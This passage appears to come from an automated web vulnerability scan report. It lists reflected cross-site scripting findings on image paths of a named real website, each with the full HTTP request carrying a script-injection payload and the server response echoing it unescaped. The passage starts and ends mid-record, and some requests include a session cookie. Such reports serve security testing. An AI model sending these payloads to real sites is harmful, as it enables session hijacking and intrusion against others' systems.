User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:19 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:20 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gifefd7d\"><script>alert(1)</script>b2723960a17" />
...[SNIP]...

2.63. http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/face-logo.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1dfa4"><script>alert(1)</script>70fd71ce6fe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 1dfa4\"><script>alert(1)</script>70fd71ce6fe in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/face-logo.gif?1dfa4"><script>alert(1)</script>70fd71ce6fe=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:01 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:02 GMT
Content-Length: 24873
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif?1dfa4\"><script>alert(1)</script>70fd71ce6fe=1" />
...[SNIP]...

2.64. http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.ico [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/favicon.ico

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2d81"><script>alert(1)</script>9be443f7c69 was submitted in the REST URL parameter 5. This input was echoed as f2d81\"><script>alert(1)</script>9be443f7c69 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/favicon.icof2d81"><script>alert(1)</script>9be443f7c69 HTTP/1.1
Host: www.powermta.port25.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=10cb98cd0f8440b2cc83a3d5c03dcf8c; __utma=1.5711670.1316204852.1316204852.1316204852.1; __utmb=1.1.10.1316204852; __utmc=1; __utmz=1.1316204852.1.1.utmgclid=CL3QyvqJoqsCFSOAgwodRgln2A|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; __ar_v4=

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:27:31 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:27:31 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24868

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81\"><script>alert(1)</script>9be443f7c69" />
...[SNIP]...

2.65. http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/headerimg.jpg

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba96c"><script>alert(1)</script>dd2e31bf684 was submitted in the REST URL parameter 1. This input was echoed as ba96c\"><script>alert(1)</script>dd2e31bf684 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-contentba96c"><script>alert(1)</script>dd2e31bf684/themes/powermta1/images/headerimg.jpg HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:33 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-contentba96c\"><script>alert(1)</script>dd2e31bf684/themes/powermta1/images/headerimg.jpg" />
...[SNIP]...

2.66. http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/headerimg.jpg

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67faa"><script>alert(1)</script>542006ac710 was submitted in the REST URL parameter 2. This input was echoed as 67faa\"><script>alert(1)</script>542006ac710 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes67faa"><script>alert(1)</script>542006ac710/powermta1/images/headerimg.jpg HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:38 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:38 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes67faa\"><script>alert(1)</script>542006ac710/powermta1/images/headerimg.jpg" />
...[SNIP]...

2.67. http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/headerimg.jpg

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af731"><script>alert(1)</script>b2789fef605 was submitted in the REST URL parameter 3. This input was echoed as af731\"><script>alert(1)</script>b2789fef605 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1af731"><script>alert(1)</script>b2789fef605/images/headerimg.jpg HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:39 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:40 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1af731\"><script>alert(1)</script>b2789fef605/images/headerimg.jpg" />
...[SNIP]...

2.68. http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/headerimg.jpg

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ef81"><script>alert(1)</script>10358b11286 was submitted in the REST URL parameter 4. This input was echoed as 9ef81\"><script>alert(1)</script>10358b11286 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images9ef81"><script>alert(1)</script>10358b11286/headerimg.jpg HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:44 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:44 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images9ef81\"><script>alert(1)</script>10358b11286/headerimg.jpg" />
...[SNIP]...

2.69. http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/headerimg.jpg

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c269"><script>alert(1)</script>cab1a636d58 was submitted in the REST URL parameter 5. This input was echoed as 6c269\"><script>alert(1)</script>cab1a636d58 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/headerimg.jpg6c269"><script>alert(1)</script>cab1a636d58 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:51 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:51 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg6c269\"><script>alert(1)</script>cab1a636d58" />
...[SNIP]...

2.70. http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/headerimg.jpg

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d4bf"><script>alert(1)</script>e08f7b7f256 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 4d4bf\"><script>alert(1)</script>e08f7b7f256 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/headerimg.jpg?4d4bf"><script>alert(1)</script>e08f7b7f256=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:04 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:04 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24873

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg?4d4bf\"><script>alert(1)</script>e08f7b7f256=1" />
...[SNIP]...

2.71. http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/in-logo.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed2fb"><script>alert(1)</script>8e7c7e2ee42 was submitted in the REST URL parameter 1. This input was echoed as ed2fb\"><script>alert(1)</script>8e7c7e2ee42 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-contented2fb"><script>alert(1)</script>8e7c7e2ee42/themes/powermta1/images/in-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:48 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:48 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24868

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-contented2fb\"><script>alert(1)</script>8e7c7e2ee42/themes/powermta1/images/in-logo.gif" />
...[SNIP]...

2.72. http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/in-logo.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af46d"><script>alert(1)</script>84649906211 was submitted in the REST URL parameter 2. This input was echoed as af46d\"><script>alert(1)</script>84649906211 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themesaf46d"><script>alert(1)</script>84649906211/powermta1/images/in-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:55 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:56 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24868

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themesaf46d\"><script>alert(1)</script>84649906211/powermta1/images/in-logo.gif" />
...[SNIP]...

2.73. http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/in-logo.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 233f0"><script>alert(1)</script>a3644243ffa was submitted in the REST URL parameter 3. This input was echoed as 233f0\"><script>alert(1)</script>a3644243ffa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1233f0"><script>alert(1)</script>a3644243ffa/images/in-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:39:03 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:39:03 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24868

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1233f0\"><script>alert(1)</script>a3644243ffa/images/in-logo.gif" />
...[SNIP]...

2.74. http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/in-logo.gif

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8744"><script>alert(1)</script>1682fc29106 was submitted in the REST URL parameter 4. This input was echoed as b8744\"><script>alert(1)</script>1682fc29106 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/imagesb8744"><script>alert(1)</script>1682fc29106/in-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:39:07 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:39:08 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24868

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/imagesb8744\"><script>alert(1)</script>1682fc29106/in-logo.gif" />
...[SNIP]...

2.75. http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/in-logo.gif

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e260"><script>alert(1)</script>6d48c521d4 was submitted in the REST URL parameter 5. This input was echoed as 3e260\"><script>alert(1)</script>6d48c521d4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/in-logo.gif3e260"><script>alert(1)</script>6d48c521d4 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
